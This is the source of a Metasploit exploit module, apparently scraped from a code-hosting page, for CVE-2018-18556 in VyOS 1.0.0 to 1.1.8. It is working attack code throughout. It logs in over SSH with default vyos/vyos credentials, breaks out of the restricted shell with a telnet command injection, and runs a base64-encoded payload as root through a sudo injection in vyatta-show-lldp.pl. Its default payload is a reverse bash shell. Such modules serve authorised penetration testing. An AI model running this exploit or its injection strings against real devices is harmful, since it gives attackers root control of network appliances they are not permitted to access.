Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/linux/ssh/vyos_restricted_shell_privesc.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'net/ssh'6require 'net/ssh/command_stream'78class MetasploitModule < Msf::Exploit::Remote9Rank = GreatRanking1011include Msf::Exploit::Remote::SSH12include Msf::Auxiliary::Report1314def initialize(info = {})15super(16update_info(17info,18'Name' => 'VyOS restricted-shell Escape and Privilege Escalation',19'Description' => %q{20This module exploits command injection vulnerabilities and an insecure21default sudo configuration on VyOS versions 1.0.0 <= 1.1.8 to execute22arbitrary system commands as root.2324VyOS features a `restricted-shell` system shell intended for use by25low privilege users with operator privileges. This module exploits26a vulnerability in the `telnet` command to break out of the restricted27shell, then uses sudo to exploit a command injection vulnerability in28`/opt/vyatta/bin/sudo-users/vyatta-show-lldp.pl` to execute commands29with root privileges.3031This module has been tested successfully on VyOS 1.1.8 amd64 and32VyOS 1.0.0 i386.33},34'License' => MSF_LICENSE,35'Author' => [36'Rich Mirch', # discovery and exploit37'bcoles' # metasploit38],39'References' => [40[ 'CVE', '2018-18556' ],41[ 'URL', 'https://blog.vyos.io/the-operator-level-is-proved-insecure-and-will-be-removed-in-the-next-releases' ],42[ 'URL', 'https://blog.mirch.io/2018/11/05/cve-2018-18556-vyos-privilege-escalation-via-sudo-pppd-for-operator-users/' ],43[ 'URL', 'https://github.com/mirchr/security-research/blob/master/vulnerabilities/VyOS/CVE-2018-18556.sh' ],44],45'Arch' => ARCH_CMD,46'DisclosureDate' => '2018-11-05',47'DefaultOptions' => {48'Payload' => 'cmd/unix/reverse_bash'49},50'DefaultTarget' => 0,51'Platform' => 'unix',52'Privileged' => true,53'Targets' => [54[55'Automatic', {}56]57],58'Notes' => {59'Stability' => [CRASH_SAFE],60'Reliability' => [REPEATABLE_SESSION],61'SideEffects' => []62}63)64)6566register_options(67[68Opt::RPORT(22),69OptString.new('USERNAME', [true, 'SSH username', 'vyos']),70OptString.new('PASSWORD', [true, 'SSH password', 'vyos']),71]72)7374register_advanced_options(75[76Opt::Proxies,77OptBool.new('SSH_DEBUG', [false, 'Enable SSH debugging output (Extreme verbosity!)', false]),78OptInt.new('SSH_TIMEOUT', [false, 'Specify the maximum time to negotiate a SSH session', 15]),79OptBool.new('GatherProof', [true, 'Gather proof of access via pre-session shell commands', false])80]81)82end8384def check85opts = ssh_client_defaults.merge({86auth_methods: ['password', 'keyboard-interactive'],87password: password,88port: rport89})9091begin92ssh = nil93::Timeout.timeout(datastore['SSH_TIMEOUT']) do94ssh = Net::SSH.start(rhost, username, opts)95end96rescue Rex::ConnectionError97return CheckCode::Safe98rescue Net::SSH::Disconnect, ::EOFError99return CheckCode::Safe100rescue Timeout::Error101return CheckCode::Safe102rescue Net::SSH::AuthenticationFailed103return CheckCode::Safe104rescue Net::SSH::Exception105return CheckCode::Safe106end107108CheckCode::Detected('SSH service detected.')109end110111def rhost112datastore['RHOST']113end114115def rport116datastore['RPORT']117end118119def username120datastore['USERNAME']121end122123def password124datastore['PASSWORD']125end126127def exploit128factory = ssh_socket_factory129130opts = {131auth_methods: ['password', 'keyboard-interactive'],132port: rport,133use_agent: false,134config: false,135password: password,136proxy: factory,137non_interactive: true,138verify_host_key: :never139}140141opts.merge!(verbose: :debug) if datastore['SSH_DEBUG']142143print_status("#{rhost}:#{rport} - Attempt to login to VyOS SSH ...")144145begin146ssh = nil147::Timeout.timeout(datastore['SSH_TIMEOUT']) do148ssh = Net::SSH.start(rhost, username, opts)149end150rescue Rex::ConnectionError151fail_with(Failure::Unreachable, "#{rhost}:#{rport} SSH - Connection error or address in use")152rescue Net::SSH::Disconnect, ::EOFError153fail_with(Failure::Disconnected, "#{rhost}:#{rport} SSH - Disconnected during negotiation")154rescue ::Timeout::Error155fail_with(Failure::TimeoutExpired, "#{rhost}:#{rport} SSH - Timed out during negotiation")156rescue Net::SSH::AuthenticationFailed157fail_with(Failure::NoAccess, "#{rhost}:#{rport} SSH - Authentication failed")158rescue Net::SSH::Exception => e159fail_with(Failure::Unknown, "#{rhost}:#{rport} SSH - Error: #{e.class} : #{e.message}")160end161162unless ssh163fail_with(Failure::Unknown, "#{rhost}:#{rport} SSH - Session couldn't be established")164end165166print_good('SSH connection established')167168ssh.open_channel do |channel|169print_status('Requesting PTY ...')170171channel.request_pty do |ch, pty_success|172unless pty_success173fail_with(Failure::NotVulnerable, "#{rhost}:#{rport} SSH - Could not request PTY")174end175176print_good('PTY successfully obtained')177178print_status('Requesting shell ...')179180ch.send_channel_request('shell') do |_ch, shell_success|181unless shell_success182fail_with(Failure::NotVulnerable, "#{rhost}:#{rport} SSH - Could not open shell")183end184185print_good('Remote shell successfully obtained')186end187end188189vyos_check_executed = false190expect_system_shell = false191payload_executed = false192193payload_b64 = Rex::Text.encode_base64(payload.encoded)194payload_cmd = ''195196channel.on_data do |_ch, data|197return nil if payload_executed198199unless vyos_check_executed200unless data.downcase.include?('vyos')201fail_with(Failure::NotVulnerable, 'Remote system is not VyOS')202end203204print_status('Remote system is VyOS')205vyos_check_executed = true206next207end208209if !expect_system_shell && data.downcase.include?(username.downcase)210if data.include?('> ')211print_status('Remote session is using restricted-shell. Attempting breakout to system shell ...')212channel.send_data("telnet ';/bin/sh'\n")213payload_cmd = "sudo /opt/vyatta/bin/sudo-users/vyatta-show-lldp.pl -action show-neighbor -i ';echo #{payload_b64}|base64 -d|/bin/sh'"214expect_system_shell = true215next216elsif data.include?('$ ')217print_status('Remote session is using unrestricted shell. Launching system shell ...')218channel.send_data("/bin/sh\n")219payload_cmd = "echo #{payload_b64}|base64 -d|sudo /bin/sh"220expect_system_shell = true221next222end223end224225if expect_system_shell && data.include?('sh') && data.include?('$ ')226print_good('Unrestricted system shell successfully obtained. Sending payload ...')227vprint_status("Sending command: #{payload_cmd}")228channel.send_data("#{payload_cmd}\n")229payload_executed = true230end231end232end233234begin235ssh.loop unless session_created?236rescue Errno::EBADF => e237elog(e)238end239end240end241242243